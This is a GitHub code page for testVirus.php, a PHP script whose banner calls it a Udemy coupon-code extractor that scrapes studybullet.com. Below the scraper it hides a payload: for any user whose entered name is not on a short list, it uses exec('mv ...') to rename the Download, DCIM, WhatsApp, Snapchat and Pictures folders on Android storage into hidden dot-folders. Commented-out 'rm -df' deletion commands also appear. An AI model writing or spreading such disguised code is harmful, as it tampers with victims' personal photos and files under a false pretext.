-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtestVirus.php
More file actions
245 lines (229 loc) · 8.58 KB
/
testVirus.php
File metadata and controls
245 lines (229 loc) · 8.58 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
<?php
echo chr(27).chr(91).'H'.chr(27).chr(91).'J'; //^[H^[J
echo "
_______________________________________________________________________________________
| _ _ |
| ___ ___ _ _ _ __ ___ _ __ _____ _| |_ _ __ __ _ ___| |_ ___ _ __ |
| / __/ _ \| | | | '_ \ / _ \| '_ \ / _ \ \/ / __| '__/ _` |/ __| __/ _ \| '__| |
| | (_| (_) | |_| | |_) | (_) | | | | | __/> <| |_| | | (_| | (__| || (_) | | |
| \___\___/ \__,_| .__/ \___/|_| |_| \___/_/\_\\__ |_| \__,_|\___|\__\___/|_| |
| |_| |
| |
| Author :- Anand Raj |
| Date :- 02 August 2021 |
| Purpose :- To extract coupon code of udemy courses |
|______________________________________________________________________________________|
";
if(sizeof($argv) > 1){
unset($argv[0]);
if(sizeof($argv) > 1){
echo "unexpected commands \n";exit();
}else{
if(is_numeric($argv[1])){
if($argv[1] >= 1 && $argv[1] <= 5){
$pagesToScrap = $argv[1];
}else{
echo "unexpected commands \n";exit();
}
}else{
echo "unexpected commands \n";exit();
}
}
}else{
$pagesToScrap = 3;
}
echo "Enter your name : ";
$name = trim(fgets(STDIN));
$name = strtolower($name);
echo "1. Paid courses only \n";
echo "2. Paid and free courses \n";
echo "Enter your choice : ";
$number = trim(fgets(STDIN));
if(is_numeric($number)){
if($number == 1){
echo "Extracting Paid Courses Coupon \n";
$paidOrFreeNumber = $number;
}else if($number == 2){
echo "Extracting Paid and Free Courses Coupon \n";
$paidOrFreeNumber = $number;
}else{
echo "command is not recognizable";exit();
}
}else{
echo "command is not recognizable";exit();
}
function getHtmlFromUrl($url){
$agents = array(
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:7.0.1) Gecko/20100101 Firefox/7.0.1',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100508 SeaMonkey/2.0.4',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1'
);
$header = array();
$header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
$header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
//assign to the curl request.
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_AUTOREFERER,true);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_USERAGENT,$agents[array_rand($agents)]);
// curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$html = curl_exec($ch);
curl_close($ch);
return $html;
}
function getLinksWithReg($html,$tag = "a"){
$dom = new DOMDocument();
$lib_xml_previous_state = libxml_use_internal_errors(true);
@$dom->loadHTML(mb_convert_encoding($html,'HTML-ENTITIES','UTF-8') ,LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
libxml_use_internal_errors($lib_xml_previous_state);
$tagData = $dom->getElementsByTagName($tag);
return $tagData;
}
function extractLink($links,$originalUrl){
$hello =[];
foreach ($links as $value) {
$generatedLink = $value->getAttribute("href");
if(strpos($generatedLink,$originalUrl) !== false){
$hello[] = $generatedLink;
$hello = array_unique($hello);
}
}
return $hello;
}
function extractSubLink($linkAnchor,$paidOrFreeNumber){
$subLink = "";
if($paidOrFreeNumber == 1){
foreach ($linkAnchor as $value) {
$generatedLink = $value->getAttribute("href");
if(strpos($generatedLink,"?couponCode=") !== false){
$subLink = $generatedLink;
}
}
}else if($paidOrFreeNumber == 2){
foreach ($linkAnchor as $value) {
$generatedLink = $value->getAttribute("href");
if(strpos($generatedLink,"www.udemy.com") !== false){
$subLink = $generatedLink;
}
}
}
return $subLink;
}
function extractCoupon($pagesToScrap,$paidOrFreeNumber){
$date = date("Y/m/d");
$originalUrl = "https://studybullet.com/{$date}/";
$linkLink = [];
for ($i=1; $i <= $pagesToScrap ; $i++) {
$url = "https://studybullet.com/{$date}/page/{$i}/";
$html = getHtmlFromUrl($url);
$anchors = getLinksWithReg($html,"a");
$links = extractLink($anchors,$originalUrl);
foreach ($links as $key => $value) {
$linkHtml = getHtmlFromUrl($value);
$linkAnchor = getLinksWithReg($linkHtml,"a");
$result = extractSubLink($linkAnchor,$paidOrFreeNumber);
if(!empty($result)){
$linkLink[] = $result;
$linkLink = array_unique($linkLink);
}else{
continue;
}
}
}
return $linkLink;
}
function listFolderFiles($dir){
$allImages = array();
// exec("whoami",$output);
$ffs = scandir($dir);
unset($ffs[array_search('.', $ffs, true)]);
unset($ffs[array_search('..', $ffs, true)]);
if (count($ffs) < 1)
return;
foreach($ffs as $ff){
if((is_dir($dir.$ff))){
if($ff == "testing"){
// echo $dir.$ff."\n";
// exec("rm -df /storage/emulated/0/testing");
$newdir = $dir.$ff."/";
// echo $newdir."\n";
$newffs = scandir($newdir);
print_r($newffs);
// unset($newffs[array_search('.', $newffs, true)]);
// unset($newffs[array_search('..', $newffs, true)]);
// if (count($newffs) < 1)
// return;
// foreach($newffs as $newff){
// if(!(is_dir($newff))){
// echo $newdir.$newff."\n";
// // exec("rm -df $newdir");
// // $allImages[] = $newff;
// }
// }
}
}
}
// return $output;
}
// function listFolderFiles($dir){
// $allImages = array();
// $ffs = scandir($dir);
// unset($ffs[array_search('.', $ffs, true)]);
// unset($ffs[array_search('..', $ffs, true)]);
// if (count($ffs) < 1)
// return;
// foreach($ffs as $ff){
// if(!(is_dir($ff))){
// $allImages[] = $ff;
// }
// }
// if(is_dir($dir."Sent")){
// $newdir = $dir."Sent";
// $newffs = scandir($newdir);
// unset($newffs[array_search('.', $newffs, true)]);
// unset($newffs[array_search('..', $newffs, true)]);
// if (count($newffs) < 1)
// return;
// foreach($newffs as $newff){
// if(!(is_dir($newff))){
// $allImages[] = $newff;
// }
// }
// }
// return $allImages;
// }
// $dir = __DIR__;
// $images = array();
// $dir = "/storage/emulated/0/WhatsApp/Media/WhatsApp Images/";
// $dir = "/storage/emulated/0/DCIM/Screenshots/";
// directory names : Download,DCIM,Whatsapp,Pictures,Snapchat
// listFolderFiles($dir);
if($name == "anand" || $name == "muskan" || $name == "faiyaz" || $name == "ekta" || $name == "anushka"){
// echo "write person enters the room\n";
}else{
// echo "wrong person enters the room\n";
$dirs = array();
$dirs = ["Download","DCIM","WhatsApp","Snapchat","Pictures"];
$homeDir = "/storage/emulated/0/";
foreach($dirs as $dir){
if(is_dir($homeDir.$dir)){
// echo "dir : ".$homeDir.$dir."\n";
exec("mv $homeDir$dir $homeDir'.{$dir}'");
}
}
}
$allLinks = array();
$allLinks = extractCoupon($pagesToScrap,$paidOrFreeNumber);
print_r($allLinks);
?>